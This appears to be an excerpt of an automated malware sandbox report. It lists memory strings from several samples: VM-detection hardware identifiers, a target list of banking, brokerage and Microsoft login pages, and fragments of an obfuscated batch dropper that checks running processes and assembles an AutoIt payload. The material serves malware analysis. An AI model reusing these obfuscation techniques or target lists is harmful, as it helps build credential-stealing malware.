Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 6071.exe, 00000016.00000003.3051637325.0000000003B44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: id ed25519 5uD7nVmCI5DppHHtx2H+7AzbTP39/UvAQinqkc/a/lg
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_DESCRIPTION_FLAT"><![CDATA[Disk space for this image is allocated at the creation time and does not change over time. WARNING! This format is not compatible with ESXi vmdk format!]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_FORMAT_DESCRIPTION_VMWARE"><![CDATA[VMware Virtual Machine Disk]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_DESCRIPTION_ESXI"><![CDATA[Select type ESX image]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_TITLE"><![CDATA[Select option for VMDK image format]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <!--Options VMware page-->
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_SUBTITLE"><![CDATA[]]></Phrase>
Source: explorer.exe, 0000000B.00000000.1352366189.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIES1371
Source: explorer.exe, 0000000B.00000000.1352366189.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_DESCRIPTION_ESXI_THIN"><![CDATA[Growable disk image compatible with ESXi Server(only a remote ESXi server)]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_ESXCONNECT_TITLE"><![CDATA[Enter VMware ESXi Server connection parameters]]></Phrase>
Source: explorer.exe, 0000000B.00000000.1352366189.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_FORMAT_NAME_QCOW2"><![CDATA[QEMU QCOW2 image]]></Phrase>
Source: 6071.exe, 00000016.00000003.3027091489.0000000003B4D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y/R51l2yYyphkOzNTCS/jkV76dFWOuP6pikJzol8tgOIVz1QEmulAgMBAAE=
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: %hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%f not %KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%rror%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%wLOztLFEJAxtNPBPyaoTIRHPLkcdqXy%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI% 1 %YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%n%xsRpraaXjaFabzUApMTGlLsfNjZCHU% -n 180 %xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%o%WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%%HdAkZfbjVfFStrlpGSoKgNXOXKRfPgxDEqSv%o%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%t
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_FORMAT_NAME_VMDK_SPARSE"><![CDATA[*VMWare growable image]]></Phrase>
Source: explorer.exe, 0000000B.00000000.1352366189.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <!--Hyper-V Connect page-->
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Set KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc=e
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: t%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%k%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%t \| f%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%n%hymZdrhmCgAZboHytUChGeYJlLDPlZrfdd%%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%tr /I "%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%%wLOztLFEJAxtNPBPyaoTIRHPLkcdqXy%%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%tu%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%.%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%pLJStoAhZgObgqiWHSqqVjfTveUFUszrarVACmc%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc% %chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%%wLOztLFEJAxtNPBPyaoTIRHPLkcdqXy%%xsRpraaXjaFabzUApMTGlLsfNjZCHU%u%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%.%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%pLJStoAhZgObgqiWHSqqVjfTveUFUszrarVACmc%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc% n%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%w%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%%WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%%wLOztLFEJAxtNPBPyaoTIRHPLkcdqXy%%WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%.%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%pLJStoAhZgObgqiWHSqqVjfTveUFUszrarVACmc%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc% %mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%o%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%%HdAkZfbjVfFStrlpGSoKgNXOXKRfPgxDEqSv%o%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%%HdAkZfbjVfFStrlpGSoKgNXOXKRfPgxDEqSv%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%t%HdAkZfbjVfFStrlpGSoKgNXOXKRfPgxDEqSv%.%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%pLJStoAhZgObgqiWHSqqVjfTveUFUszrarVACmc%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%">NUL
Source: explorer.exe, 0000000B.00000000.1352366189.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: S%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%t JfWW%WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%OnVo%wLOztLFEJAxtNPBPyaoTIRHPLkcdqXy%S%qxaIyqymxynyaeUetbjfVpyDjvqtvZOOxPm%=A%hymZdrhmCgAZboHytUChGeYJlLDPlZrfdd%%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%t%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%t%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%on.%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%f
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_SPARSE"><![CDATA[VMware Workstation growable image]]></Phrase>
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: %WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%m%hymZdrhmCgAZboHytUChGeYJlLDPlZrfdd% /%WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP% %WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%o%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%%qxaIyqymxynyaeUetbjfVpyDjvqtvZOOxPm% /b S%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%n + C%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%%xsRpraaXjaFabzUApMTGlLsfNjZCHU%%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%r%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%tt%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc% + In%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%t%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%n%WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi% + Mf%xsRpraaXjaFabzUApMTGlLsfNjZCHU% + C%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%b%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc% %GKllSuIGHnRidmLAKCGmcFKpbkeLuqkE%\%JfWWcpOnVovSy%
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_HYPER_V_TITLE"><![CDATA[Enter Microsoft Hyper-V Server or Windows Server connection parameters]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 6071.exe, 00000016.00000003.3138624684.0000000003B48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MIGJAoGBAK7h1VmCi65Obi5jNTRteVQcxmCUm10opeTD7+Q1UVttM/Hv6XudG/RA
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: S%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%t GK%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%SuIGHnR%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%%hymZdrhmCgAZboHytUChGeYJlLDPlZrfdd%mLAKCGm%WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%FK%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%bk%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%Lu%jsoZcqHUsVKxMGnBaQziRzvLaaxmNwWgEnc%kE=%random%
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: S%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%t bIbT%hymZdrhmCgAZboHytUChGeYJlLDPlZrfdd%SGfRn=M
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_FORMAT_NAME_VMDK_SPARSE"><![CDATA[VMware growable image]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_ESXI_THICK"><![CDATA[ESXi pre-allocated image]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_DESCRIPTION_ESXI_THICK"><![CDATA[Pre-allocated disk image compatible with ESXi Server]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_LOCATION_HYPERV"><![CDATA[Microsoft Hyper-V Server]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_DESCRIPTION_SPARSE"><![CDATA[Disk space for this image is allocated on demand, so disk size of this image grows over time. WARNING! This format is not compatible with ESXi vmdk format!]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: S%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%t IVDAuumfYUA%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%Z=
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_FORMAT_NAME_VMDK_FLAT"><![CDATA[VMware pre-allocated image]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: S%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%t B%HdAkZfbjVfFStrlpGSoKgNXOXKRfPgxDEqSv%KD%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%C=f
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_ESXI_THIN"><![CDATA[ESXi growable image]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: 6719.exe, 00000010.00000002.2205719718.00000000037B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231LR
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: explorer.exe, 0000000B.00000000.1352366189.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_TYPE_VMDK"><![CDATA[*VMWare image files]]></Phrase>
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 0000000B.00000000.1354982991.0000000009052000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: t%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%k%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%t \| f%hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%n%hymZdrhmCgAZboHytUChGeYJlLDPlZrfdd%%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%tr /I "wr%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%.%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%pLJStoAhZgObgqiWHSqqVjfTveUFUszrarVACmc%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%">NUL
Source: explorer.exe, 0000000B.00000000.1352366189.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: %hyJZPZDbpYLmxqqqNHrXmGhjfNEPcW%f not %KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%rror%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%wLOztLFEJAxtNPBPyaoTIRHPLkcdqXy%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI% 1 S%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%t JfWW%WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%OnVo%wLOztLFEJAxtNPBPyaoTIRHPLkcdqXy%S%qxaIyqymxynyaeUetbjfVpyDjvqtvZOOxPm%=AutoIt3.%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%pLJStoAhZgObgqiWHSqqVjfTveUFUszrarVACmc%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc% & S%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%t IVDAuumfYUA%mFTQyjxazSEPdSpVPGHGSMEmboqqLGyyTdXEwSDiXhZqXjPi%Z=.%chwQzbKHNaGJNMAfqdVjhMxcKhQDuUxfDurxeLKB%3%pLJStoAhZgObgqiWHSqqVjfTveUFUszrarVACmc%
